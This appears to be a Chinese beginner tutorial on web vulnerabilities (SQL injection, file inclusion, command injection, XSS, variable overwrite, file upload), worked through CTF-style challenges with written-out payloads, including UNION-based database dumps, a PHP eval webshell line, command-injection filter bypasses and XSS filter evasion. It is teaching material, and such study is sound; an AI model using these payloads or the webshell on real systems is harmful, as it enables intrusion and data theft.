小白科普Web安全基础之SQL注入XSS文件上传漏洞详解

Posted 开源聚合网络空间安全研究院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了小白科普Web安全基础之SQL注入XSS文件上传漏洞详解相关的知识,希望对你有一定的参考价值。


【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

随着基于web环境的互联网应用越来越广泛,接踵而至的web安全威胁日益凸显,黑客利用网站操作系统的漏洞和web服务程序的SQL注入漏洞等得到web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,甚至在网页中植入恶意代码,使得网站访问者受到侵害。

基于常见的挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对web服务漏洞进行攻击,因为了解web安全、掌握web基础变得尤为重要,今天为大家简单的分享web基础中的SQL注入、XSS、文件上传漏洞等。

SQL注入

SQL注入的基本原理在于利用程序对用户输入数据的检查不足或程序自身对变量的处理不足,把额外的SQL语句附加到中间层往后台数据库提交的语句中,轻则可以获取敏感信息,重则可以控制服务器。

url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%

常见URL编码:空格(%20)、单引号(%27)、井号(%23)

分类:

Get注入、POST注入、Cookie注入

盲注、宽字节注入、

基于时间注入(Time-based blind SQL injection)、

布尔型注入(Boolean-based blind SQL injection)、

报错型注入(Error-based SQL injiection)、

联合查询注入(UNION query SQL injection)、

多语句查询注入(Stacked queries SQL injection)

判断SQL注入:

单引号,and 1=1 和 and 1=2 ,具体看源代码闭合

SQL注入需要了解的知识:

系统用户名 :system_user()

用户名 :user()

当前用户名 :current_user ()

连接数据库的用户名 :session_user()

数据库名:database()

数据库版本:version()

读取数据库路径:@@datadir

操作系统:@@version_compile_os

写入文件:select‘一句话木马’into outfile “文件路径”

INFORMATION_SCHEMA 数据库: 是mysql自带的,它提供了访问数据库 元数据 的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

table_schema: 记录数据库名;

table_name: 记录数据表名;

engine : 存储引擎;

table_rows: 关于表的粗略行估计;

data_length : 记录表的大小(单位字节);

index_length : 记录表的索引的大小;

row_format: 可以查看数据表是否压缩过;

宽字节注入   

在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效。但当数据库使用了“宽字符集”时,可能会产生一些意想不到的漏洞。比如当MySql使用GBK编码时,0xbf27和0xbf25都会被认为是一个字符(双字节字符)。

0x5c = \

0x27 = ‘

0xbf27 = ?‘

0xbf5c = 縗

假如攻击者输入 “0xbf27 or 1=1”之后,即 ?‘ or 1=1 经过转义后就会变成0xbf5c27(“\”的ASCII码值是0x5c),但是0xbf5c又是一个字符“0xbf5c =縗”,所以原本存在的转义字符就没了,现在变成了  縗’ or 1=1,数据库还是会报错。

解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8编码即可。

宽字节注入


【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

1. 先查库:http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

2. 既然题目给了提示,直接查找sql5.key中id为1的string字段就好。

http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1 %23

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解


POST注入


地址:http://120.24.86.145:8002/chengjidan/


使用 information_schema  

1. 暴库

id=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

2. 爆表

id=-1' union select 1,2,3,table_name from information_schema.tables where table_schema=0x736b6374665f666c6167#

3. 爆字段

id=-1' union select 1,2,3,column_name from information_schema.columns where table_name=0x666c3467#

4. 爆内容

id=-1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#

Sqli-labs基础挑战1-10

<http://blog.csdn.net/u012763794/article/details/51207833>

文件包含

严格来说,文件包含漏洞是“代码注入”的一种,原理就是注入一段用户能够控制的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(File Inclusion)。

php中常见导致文件包含的函数如下:

Include(),include_once(),require(),require_once(),fopen(),read_file(),…

其中,当使用Include(),include_once(),require(),require_once()这4个函数包含文件时,该文件将当做php代码执行,php并不会在意该被包含的文件时什么类型。

比如在test.txt中有如下代码,被包含之后就会列出服务器关于php配置的有关信息。

<?php phpinfo() ?>

想要利用文件包含漏洞,需要满足:

1. include()等函数通过动态变量的方式引入需要包含的文件;

2. 用户能够控制该动态变量


本地包含

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

这道题不仅仅可以直接使用文件包含,还包含了代码注入

使用show_source()、函数可以直接得到flag

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

也可以使用file_put_contents()函数进行注入写入一句话,然后使用菜刀连接,除此之外还有各种方法

file_put_contents('shell.php','<?php eval($_POST[1]); ?>')

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

还有一种文件包含需要用到php伪协议php://filter


文件包含


php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

payload:<http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php>

读出来的数据是经过base64加密的,然后再解密就可以了

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

Python:

import base64

strs = "PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4="

print base64.b64decode(strs)

除此之外也可以用php函数解base64

<?php

$str =“”;

echo base64_decode($str);

?>

输出结果:

<html>

<title>asdf</title>

<?php

error_reporting(0);

if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}

$file=$_GET['file'];

if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

echo "Oh no!";

exit();

}

include($file);

//flag:nctf{edulcni_elif_lacol_si_siht}

?>

</html>

命令执行
测试源代码  

<?php

if(isset($_REQUEST['ip'])){

$target = $_REQUEST['ip'];

$cmd = shell_exec('ping -c 4'.$target);

echo "<pre>{$cmd}></pre>";

}

if(isset($_GET['code'])){

show_source(__FILE__);

}

?>

<html><center>hello!</center><!--give me "code"--></html>

Payload: /index.php?ip=|cat “文件名”

Linux中查看文件的命令:

cat     由第一行开始显示内容,并将所有内容输出

tac     从最后一行倒序显示内容,并将所有内容输出

more    根据窗口大小,一页一页的现实文件内容

less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head    只显示头几行

tail    只显示最后几行

nl      类似于cat -n,显示时输出行号

tailf   类似于tail –f

命令执行操作符  

多条命令可以在一行中出现。它们可以顺序执行,也可能在相邻命令之间存在逻辑关系,即逻辑与和逻辑或。

1. 顺序执行

每条命令或管道线可独占一行,如:

[test@ubuntu]$pwd

[test@ubuntu]$who|wc -l

[test@ubuntu]$cd /usr/bin

显然,这些命令按其出现的顺序依次执行

也可以将这些命令在一行中输入,此时,各条命令之间应以分号“;”隔开,如:

[test@ubuntu]$pwd;who|wc –l;cd /usr/bin

在执行时,以分号隔开的各条命令从左到右依次执行,即前面命令执行是否成功,并不影响其后面命令的执行。它与上面写成多行的形式是等价的。

2. 逻辑与

逻辑与操作符“&&”可将两个命令联系在一起。其一般形式为:

命令1 && 命令2

功能是,先执行命令1,如果执行成功,才执行命令2;否则,若命令1执行不成功,则不执行命令2。

例如:

[test@ubuntu]$cp example1 example11 && rm example1

如果成功地将文件example1拷贝到文件example11中,则将example1删除。

用“&&”可以将多个命令联系起来,格式如下:

命令1 && 命令2 && 命令3 ……&& 命令n

在这种形式的命令序列中,每个命令都按顺序执行,一旦有一个命令执行失败,则后续命令不在执行。因此,后一个命令是否得以执行,取决于前一个命令执行的成功与否。

3. 逻辑或

逻辑或操作符“||”可将两个命令联系起来。其一般形式为:

命令1 || 命令2

功能是,先执行命令1,如果执行不成功,则执行命令2,;否则,若命令1执行成功,则不执行命令2。

例如:

[test@ubuntu]$cat example1 || pwd

表示如果不能将example1的内容显示出来,则显示当前工作目录的路径。

同样,利用“||”也可以将多个命令联系起来,格式如下:

命令1 || 命令2 || 命令3 ……|| 命令n
命令执行绕过技巧  

空格绕过:

使用<符号

使用%09(tab)(需要php环境)

使用${IFS}

使用$IFS$9

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

${IFS},$IFS,$IFS$9的区别,$IFS在linux下表示分隔符,单纯的cat$IFS1.txt,bash解释器会把整个IFS1当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

若遇到无回显的命令执行就需要用到dnslog了,可以使用ceye平台利用dns记录内容,网址<http://ceye.io>

linux反引号的作用

反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。

$ txt=`ls *.txt`

$ echo $txt

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

XSS

跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS分为:存储型和反射型

存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

看一个简单的xss

假设一个页面把用户输入的参数直接输出到页面上

<?php

$input = $_GET(‘param’);

echo “<div>”.input.”</div>”;

?>

正常情况下,用户像param提交的数据会显示到页面中,如下:

http://127.0.0.1/xss.php?param=this is a test!

非正常情况下,如果提交下面一段代码,就会产生弹框了。

http://127.0.0.1/xss.php?param=<script>alert(/xss/)</script <http://127.0.0.1/xss.php?param=%3cscript%3ealert(/xss/)%3c/script>>

XSS危害

1.网络钓鱼,盗取各类用户的账号

2.窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作

3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等

4.强制弹出广告页面,刷流量等

5.进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等

6.进行基于大量的客户端攻击,如DDOS攻击

7.结合其它漏洞,如CSRF漏洞。

8.进一步渗透网站


XSS测试

首先测试http://103.238.227.13:10089/?id=<script>alert(_key_)</script <http://103.238.227.13:10089/?id=%3cscript%3ealert(_key_)%3c/script>>

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

发现<>被过滤成&lt;&gt;

考虑将<>进行unicode编码,这样当代码被替换进去运行时,utf-8编码又会将其变回来

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

<http://103.238.227.13:10089/?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e>

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

变量覆盖

extract()变量覆盖

extract(array,extract_rules,prefix)

函数官方介绍:

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

【小白科普】Web安全基础之SQL注入、XSS、文件上传漏洞详解

需要补充的是,若第二个参数未指定,则默认使用“EXTR_OVERWRITE”

测试

源代码:

<?php

$flag='xxx';

extract($_GET);

if(isset($shiyan))

{

$content=trim(file_get_contents($flag));

if($shiyan==$content)

{

echo'flag{xxx}';

}

else

{

echo 'Oh.no';

}

}

?>

解释一下里边用到的函数:

trim():移除字符串两侧的空白字符或其他预定义字符。(这里是移除字符串两侧的空格)

file_get_contents():将整个文件读入一个字符串

Payload:/? shiyan=&flag=xx 或者 shiyan=&flag

这里payload中的含义是将变量shiyan和变量flag都设置为空值或者某一个值(注意:payload中的flag变量和题目里的flag变量不是同一个变量,只是同名而已),根据extract()的特性,当值为“EXTR_OVERWRITE”时,在变量导入符号表的过程中,如果变量名发生冲突,则覆盖原有变量。若第二个参数未指定,则默认使用“EXTR_OVERWRITE”。

除了extract()函数可导致变量覆盖外,还有parse_str()和import_request_variables()函数也可导致变量覆盖。

一种较为安全的做法是,将php.ini中的register_globals=On改为register_globals=Off后,在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖。

文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没什么门槛。

Apache文件解析问题

Apache对于文件名的解析是从后往前解析的,知道遇见一个Apache认识的文件类型为止。

比如:

Shell.php.rar.rar.rar

Apache不认识不认识.rar这个文件类型,所以会一直遍历后缀到.php,然后任务这是一个PHP类型的文件。

除了Apache文件解析漏洞外还有IIS文件解析问题。


文件上传测试

抓包,改文件后缀和文件类型即可

XXE:http://www.freebuf.com/column/156863.html

SSRF:http://www.91ri.org/17111.html

CSRF:https://www.cnblogs.com/phpstudy2015-6/p/6771239.html

安恒杯一道csrf题目的官方解析:<http://forum.91ctf.com/index.php/group/topic/id-39>

开源聚合信息安全教育

以攻促防,攻防兼备

专注信息安全人才培养

搭建企业人才供需桥梁

咨询QQ:372806985(曹)1271375291(崔)

1048113087(安)1458297153(武)

以上是关于小白科普Web安全基础之SQL注入XSS文件上传漏洞详解的主要内容,如果未能解决你的问题,请参考以下文章

web安全之XSS基础-常见编码科普

SQL注入科普

[超级基础]Web安全之SQL注入由浅入深(?)

技术分享Web安全之XSS与SQL注入

2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础